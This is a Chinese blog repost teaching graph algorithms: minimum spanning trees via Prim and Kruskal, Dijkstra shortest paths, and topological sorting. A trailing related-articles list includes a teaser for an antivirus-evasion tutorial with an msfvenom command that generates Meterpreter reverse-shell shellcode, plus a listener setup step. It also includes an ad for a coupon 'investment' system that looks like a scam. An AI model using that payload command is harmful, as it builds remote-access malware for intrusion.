数据结构与算法--图的应用

news2024/11/15 23:30:25

文章目录

      • 回顾
      • 提要
      • 连通图
      • 生成树
      • 最小生成树
      • 构造最小生成树的算法
        • 普里姆(Prim)算法
        • 克鲁斯卡尔(Kruskal)算法
      • 最短路径
      • 狄杰斯特拉 (Dijkstra) 算法
      • 当前最短路径的更新
      • 拓扑排序
      • 拓扑排序方法
      • 拓扑排序示例
      • 总结

回顾

图的遍历方法:

  • 深度优先遍历 (DFS):从任意顶点开始,访问其未访问过的邻接点,直至全部访问完毕。
  • 广度优先遍历 (BFS):从任意顶点开始,访问其所有未访问过的邻接点,然后是下一层的邻接点,直至所有顶点被访问。

提要

  • 最小生成树的概念。
  • 最小生成树的构造算法:
    • 普里姆 (Prim) 算法
    • 克鲁斯卡尔 (Kruskal) 算法
  • 单源点最短路径。
  • 拓扑排序。

连通图

连通图:图中任意两个顶点都是连通的。在连通图中,从任意顶点出发进行深度优先遍历或广度优先遍历,都可以访问图中所有其他顶点。在这里插入图片描述
在这里插入图片描述

生成树

生成树:包含连通图全部顶点的极小连通子图,即以最少的边连接连通图中所有的顶点。
在这里插入图片描述
在这里插入图片描述

最小生成树

最小生成树:带权连通图的所有生成树中权值之和最小的生成树。在实际问题中,如管道铺设问题,可以应用最小生成树来最小化成本。
最小生成树:带权连通图的所有生成树中权值之和最小的生成树。
在实际问题中的应用:管道的铺设问题。
n 个小区只需铺设 n-1 条管线就能连通,各条管线的投资成本不同,如何使得总的投资成本最低?最小生成树。
在这里插入图片描述

构造最小生成树的算法

  • 普里姆 (Prim) 算法:从任一顶点开始,逐步扩展最小生成树,每次添加权值最小的边。
  • 克鲁斯卡尔 (Kruskal) 算法:按边权值从小到大的顺序选择边,形成最小生成树,不形成环。
普里姆(Prim)算法

在这里插入图片描述
示例:在这里插入图片描述
求解过程:

  • 初始化U={v}。v到其他顶点的所有边为候选边;
  • 重复以下步骤n-1次,使得其他n-1个顶点被加入到U中:
    • 从候选边中挑选权值最小的边输出,设该边在V-U中的顶点是k,将k加入U中;
    • 考察当前V-U中的所有顶点j,修改候选边:若 (k, j) 的权值小于原来和顶点 j 关联的候选边,则用 (k, j) 取代后者作为候选边。
克鲁斯卡尔(Kruskal)算法

假设N=(V,E)是连通网(带权的图),令最小生成树的初始状态为包含全部n个顶点,但没有边的非连通图T=(V,{ }),图中每个顶点自成一个连通分量
在E中选择权值最小的边,若该边依附的顶点落在T中不同的连通分量上,则将此边加入到T中,否则舍去此边而选择下一条权值最小的边。依此类推,直至所有顶点都在同一连通分量上为止。

示例:在这里插入图片描述

求解过程:

  • T的初始状态:包含n个顶点、不包含边的森林:T=(V,Ø );
  • 按权值递增的顺序选择E中的n-1条安全边(u,v),并加入T;
  • 安全边指两个顶点分别是森林T里两棵树中的顶点的边。安全边的加入,不会形成环。加入安全边,可将森林中的两棵树连接成一棵更大的树。

最短路径

最短路径:带权图中从源点到终点的所有路径中,所经过边的权值之和最小的路径。
图的最短路径:
单源点最短路径:从一个顶点到其余各顶点的最短路径;
每对顶点间的最短路径。

狄杰斯特拉 (Dijkstra) 算法

求解单源点最短路径的算法,通过不断更新顶点间的最短路径来实现。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

当前最短路径的更新

在这里插入图片描述
在这里插入图片描述

拓扑排序

拓扑排序:在一个有向图中找一个满足所有有向边的方向的顶点序列的过程。
在这里插入图片描述

拓扑排序方法

  1. 从有向图中选择一个没有前驱(入度为0)的顶点并输出。
  2. 从图中删去该顶点及发出的全部有向边。
  3. 重复以上步骤,直到所有顶点都被输出。

拓扑排序示例

计算机专业课程学习顺序的拓扑排序,展示了如何根据先修课程的要求进行排序。
在这里插入图片描述
课程之间的先后关系可用有向图表示:在这里插入图片描述
拓扑序列:C2-C7-C1-C3-C4-C5-C6 或:C1-C2-C3-C4-C5-C7-C6 等
注意:拓扑序列不一定唯一。

总结

  • 普里姆 (Prim) 算法和克鲁斯卡尔 (Kruskal) 算法构造最小生成树的方法。
  • 狄杰斯特拉 (Dijkstra) 算法求解单源点最短路径。
  • 拓扑排序的应用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2043158.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

在centos7安装mysql

1.卸载旧环境 ps axj | grep mysql ps axj | grep mariabd 如果是这样就什么都不需要做。 如果不是 2.检查并卸载系统安装包 //检查安装包 rpm -qa | grep mysql//卸载安装包 rpm -qa | grep mysql | xargs yum -y remove 3.安装官方yum源 先查看系统的版本 比如我是7.9版…

力扣高频SQL 50题(基础版)第四十题之1164. 指定日期的产品价格

文章目录 力扣高频SQL 50题(基础版)第四十题1164. 指定日期的产品价格题目说明实现过程准备数据实现方式结果截图总结FIRST_VALUE()函数LAST_VALUE()函数NTH_VALUE()函数 LAST_VALUE()函数NTH_VALUE()函数 力扣高频SQL 50题(基础版&#xff0…

YJ0043定制版抖音电商卷抢购系统带回收商城抖音电商优惠卷投资理财系统

系统是基于逍遥商城二开的系统,pc手机端都新增了邀请码验证 手机端重新定制的UI,前端产品不至于抖音卷也可以自行更改其他产品 用户前端下单,后台订单可以直接回收,后台支持设置默认邀请码和抢卷时间限制

动手学深度学习(pytorch)学习记录10-从零开始实现softmax回归[学习记录]

注:本代码在jupyter notebook上运行 封面图片来源 导包 import torch from IPython import display import torchvision from torchvision import transforms from torch.utils import data设置加载数据的线程数 def get_dataloader_workers(): ""&qu…

《学会 SpringBoot 系列 · spring.factories 详解》

📢 大家好,我是 【战神刘玉栋】,有10多年的研发经验,致力于前后端技术栈的知识沉淀和传播。 💗 🌻 CSDN入驻不久,希望大家多多支持,后续会继续提升文章质量,绝不滥竽充数…

机器人阻抗控制之设计方法

机器人阻抗控制的设计方法主要围绕调整机器人与环境之间的动态关系,使其等效为由弹簧-阻尼-质量组成的二阶系统。这一控制策略不是直接控制机器人的运动或其与外界的接触力,而是控制这二者之间的动态关系。以下是机器人阻抗控制设计方法的详细阐述&#…

Centos7系统上安装docker

centos7安装docker 安装之前,一定查看是否安装docker,如果有,卸载老版本 我是虚拟机装的Centos7,linux 3.10 内核,docker官方说至少3.8以上,建议3.10以上(ubuntu下要linux内核3.8以上&#xff…

LVS详细配置

目录 LVS简介 LVS集群体系结构 LVS相关术语 lvs集群的类型 1、NAT模式 NAT简介 NAT模式数据逻辑 2、DR模式 DR模式简介 DR模式数据逻辑 DR模式的特点 3、TUN模式 TUN模式简介 TUN模式数据传输过程 TUN模式特点 4、fullnet模式 LVS模式总结 LVS调度算法 LVS静…

python从入门到精通:函数

目录 1、函数介绍 2、函数的定义 3、函数的传入参数 4、函数的返回值 5、函数说明文档 6、函数的嵌套调用 7、变量的作用域 1、函数介绍 函数是组织好的,可重复使用的,用来实现特定功能的代码段。 name "zhangsan"; length len(nam…

机器学习(1)--数据可视化

文章目录 数据可视化作用可视化方法实现可视化 总结 数据可视化 数据可视化是将数据以图形、图像、动画等视觉形式表示出来,以便人们能够更直观地理解、分析和交流数据中的信息。 作用 一个整理的好好的数据,我们为什么要将其可视化呢?将它…

深入理解指针

前言&#xff1a;对于指针我们已经有了初步的了解&#xff0c;并已能够简单使用。今天我们来深入理解指针。让我们的指针功力更上一层楼。 1 使用指针访问数组 有了指针的知识&#xff0c;再结合数组的特点&#xff0c;我们就可以使用指针来访问数组了。 #include<stdio.…

线程的进阶学习

线程结束方式: 1.pthread_exit //pthread_join 2.从线程执行函数中return //此时效果等价于pthread_exit 3.pthread_cancel //线程可以被取消 4.任何一个线程调用了exit 或者 主线程 (main函数) return都会造成 进程结束 线程资源回收 ---pthread_join int pthread_ca…

汤姆·克鲁斯对妮可·基德曼经常对粉丝提起他们以前的事感到恼火

妮可基德曼最近回忆了她与前夫汤姆克鲁斯和导演斯坦利库布里克在 1999 年的电影《大开眼戒》中合作的时光。这似乎是对她职业生涯中某个时刻的无伤大雅的回顾&#xff0c;但据报道&#xff0c;有一个人对她在纪念该电影上映 25 周年时的谈话感到不满。 据报道&#xff0c;克鲁…

Polars简明基础教程十四:可视化(四)

数据帧交换协议 数据帧互换协议&#xff08;Dataframe Interchange Protocol&#xff09;&#xff0c;是为了提高不同数据帧库之间的互操作性而设计的。 想象一下&#xff0c;你有很多不同类型的储物箱&#xff08;在这里比喻为不同的数据帧库&#xff0c;如 Pandas、Polars、…

ArkTs基础语法-声明式UI-基本概念

声明式UI语法 基本概念声明式UI描述创建组件无参数有参数 配置属性配置事件 配置子组件 基本概念 装饰器&#xff1a;用于装饰类、结构、方法及变量&#xff0c;并赋予其特殊的含义。 例如&#xff1a; Entry 有该装饰器的自定义组件&#xff0c;可以在UIAbility中使用&#xf…

Transformer在单细胞组学中干了啥?

—https://doi.org/10.1038/s41592-024-02353-z 留意更多内容&#xff0c;欢迎关注微信公众号&#xff1a;组学之心 研究团队和单位 综述简介 细胞表型参考图谱的构建&#xff08;已有很多篇超百万级单细胞的多组学图谱&#xff09;&#xff0c;极大丰富了单细胞组学数据的数…

WEB渗透免杀篇-Python源码免杀

Base64编码Pyinstaller打包 MSF监听需设置自动迁移进程 set autorunscript migrate -n explorer.exe msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST192.168.0.108 LPORT12138 -f c -o /var/www/html/1.cShellcode粘贴在shellcodebase64c.py中 python…

Element UI导航菜单刷新就复原问题解决方法~

1、首先要知道为什么一刷新就复原了&#xff0c;是因为default-active属性设置的是默认值&#xff0c;是一个死值&#xff0c;一旦刷新就会复原&#xff0c;造成高亮不能保持&#xff0c;那么怎么解决呢&#xff1f; 2、很简单&#xff0c;无需像一些博主一样绑定path。思路&a…

本机电脑,代码仓库,服务器三者代码同步流程

本机电脑&#xff0c;代码仓库&#xff0c;服务器三者代码同步流程 本机电脑将代码push到代码仓库从代码仓库clone或者pull代码服务器&#xff08;非必要但习惯于&#xff09;本机电脑通过ssh远程连接服务器进行操作 关于密钥&#xff1a;&#xff08;通过ssh的密钥同步代码不…

Linux系统驱动(十八)SPI总线(未整理)

文章目录 一、SPI总线协议简介二、SPI子系统驱动&#xff08;二&#xff09;SPI子系统API&#xff08;三&#xff09;SPI设备树节点 三、代码示例 一、SPI总线协议简介 高速、同步、全双工、非差分、总线式 传输速度在几十M 差分总线和非差分总线 非差分总线&#xff1a;受压…